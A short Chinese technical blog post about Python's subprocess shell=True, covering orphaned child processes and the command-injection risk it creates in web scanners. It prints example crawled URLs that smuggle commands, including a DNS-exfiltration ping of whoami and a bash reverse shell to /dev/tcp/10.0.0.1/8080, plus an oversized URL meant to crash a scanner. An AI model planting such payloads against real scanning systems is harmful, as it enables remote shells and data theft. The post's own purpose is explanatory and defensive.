似乎是subprocess在调度任务的时候，开启了两个进程，在父进程被kill的时候，并没有kill子进程（或者两个进程之间根本没有父子关系）。那为什么会开启两个进程呢？

搜索之后，发现了问题所在。shell=True 参数会模拟在shell中执行，先是起了shell进程，再从shell起了phantomjs进程。调用 process.kill() 之后，只杀死了shell进程。

所以解决方案也很明显，把 shell=True 改成 shell=False 即可。但 shell=False 的模式下，subprocess.Popen第一个参数传参需为 list，否则会报错。

对于原本是字符串格式的命令，可以用 shlex.split 函数来转换成 list。

在分布式扫描系统中，启用 shell=True 还可能导致远程命令执行漏洞。

shell=True模式下，subprocess.Popen函数的第一个参数为字符串，有些同学就会这样写:

当你抓取到的URL是这样的：

• http://xxx.com/ & ping `whoami`.xxx.nslog.xx ;

• http://xxx.com/ ; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  

再比如，当你抓取到的URL是这样的：

• http://xxx.com/aaaaaaaaaaaaaaaa(省略十万个a)aaaaaa
  

如果没做特别限制的话，扫描者的程序可能就被狗带了。

当然还有一些其他的反击扫描者的方式，之后会和大家分享~

阅读原文

跳转微信打开